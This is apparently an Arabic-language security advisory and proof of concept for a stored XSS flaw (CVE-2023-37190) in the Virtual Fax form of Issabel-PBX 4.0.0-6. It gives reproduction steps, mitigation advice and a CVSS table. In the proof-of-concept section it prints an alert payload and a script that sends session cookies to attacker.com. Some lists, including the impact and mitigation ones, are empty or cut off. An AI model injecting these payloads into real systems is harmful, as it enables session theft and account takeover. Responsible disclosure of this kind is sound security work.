
توجد ثغرة من نوع التخزين العملي للبرمجة النصية عبر المواقع (XSS) في Issabel-PBX الإصدار 4.0.0-6. يفشل التطبيق في تعقيم وترميز الإدخال المقدم من المستخدم بشكل صحيح قبل تخزينه في قاعدة البيانات ثم عرضه في الواجهة الإلكترونية.
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2023-37190 |
| نوع الثغرة | تخزين البرمجة النصية عبر المواقع (Stored XSS) |
| المنتج المتأثر | Issabel-PBX |
| الإصدار المتأثر | 4.0.0-6 |
| الخطورة | متوسطة (CVSS v3.1 النتيجة: 5.4) |
| المكتشف | Sahil Ojha |
| تاريخ الإفصاح | 07 يوليو 2023 |
| البائع | Issabel |
| الكود المصدري | IssabelFoundation/issabelPBX |
| تم الاختبار على | Windows |
توجد ثغرة تخزين البرمجة النصية عبر المواقع (Stored XSS) في Issabel-PBX الإصدار 4.0.0-6. يفشل التطبيق في تعقيم وتشفير الإدخال المقدم من المستخدم بشكل صحيح قبل تخزينه في قاعدة البيانات ومن ثم عرضه في الواجهة الإلكترونية.
تظهر الثغرة في وحدة الفاكس الافتراضي (Virtual Fax)، وتحديداً في نموذج إنشاء "فاكس افتراضي جديد". معلمتان للإدخال — اسم الفاكس الافتراضي واسم معرف المتصل — لا تخضعان للتحقق الكافي من الإدخال أو ترميز المخرجات. وهذا يسمح لمهاجم مصادق بصلاحيات منخفضة بحقن وتخزين حمولة جافا سكريبت ضارة بشكل دائم داخل التطبيق.
بمجرد تخزينها، يتم تنفيذ البرنامج النصي الضار تلقائياً في متصفح أي مستخدم (بما في ذلك المسؤولين) يزور الصفحة المتأثرة، دون الحاجة إلى أي تفاعل إضافي من المهاجم.
المهاجم الذي يستغل هذه الثغرة بنجاح يمكنه:
لأن الحمولة مخزنة (دائمة)، فإنها تؤثر على كل مستخدم يزور الصفحة الضعيفة حتى يتم إزالتها — مما يجعلها أكثر خطورة من XSS المنعكسة.
اسم الفاكس الافتراضياسم معرف المتصلالخطوة 1: سجل الدخول إلى تطبيق Issabel-PBX الإلكتروني باستخدام بيانات اعتماد صالحة.
الخطوة 2: انتقل إلى Fax → Virtual Fax → New Virtual Fax.
قم بحقن الحمولة التالية لـ XSS في حقل اسم الفاكس الافتراضي و/أو اسم معرف المتصل:
<script>alert('XSS-CVE-2023-37190')</script>
للحصول على إثبات مفهوم أكثر تأثيراً يوضح سرقة ملفات تعريف الارتباط للجلسة (ملاحظة: في الهجمات الحقيقية، يُستخدم HTTPS لتجنب كشف ملفات تعريف الارتباط المسروقة أثناء النقل):
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
يجب أن يبدو النموذج المملوء بالحمولة المحقونة مشابهاً للقطة الشاشة أدناه:

الخطوة 3: انقر على زر Save لتقديم النموذج. الآن تم تخزين الحمولة بشكل دائم في قاعدة بيانات التطبيق.
الخطوة 4: انتقل إلى صفحة قائمة الفاكس الافتراضي (أو اجعل مستخدمًا آخر — مثل المسؤول — يزور الصفحة). سيتم تنفيذ البرنامج النصي المخزن تلقائياً في متصفح الزائر، كما هو موضح أدناه:

يُنصح مستخدمي ومسؤولي Issabel-PBX بشدة بتطبيق الإجراءات التالية:
<, >, ", ', &).Content-Security-Policy صارم لتحديد المصادر التي يُسمح بتنفيذ البرامج النصية منها، مما يقلل من تأثير ثغرات XSS.Sahil Ojha
باحث أمني
GitHub: @sahiloj
إخلاء مسؤولية: هذا المستودع لأغراض تعليمية والإفصاح المسؤول فقط. لا ينبغي استخدام المعلومات المقدمة هنا لمهاجمة الأنظمة دون إذن كتابي صريح من مالك النظام. المؤلف غير مسؤول عن أي إساءة استخدام لهذه المعلومات.
| المقياس | القيمة |
|---|
| النتيجة الأساسية | 5.4 (متوسطة) |
| متجه الهجوم | شبكة |
| تعقيد الهجوم | منخفض |
| الصلاحيات المطلوبة | منخفضة |
| تفاعل المستخدم | مطلوب |
| النطاق | متغير |
| السرية | منخفضة |
| النزاهة | منخفضة |
| التوفر | لا شيء |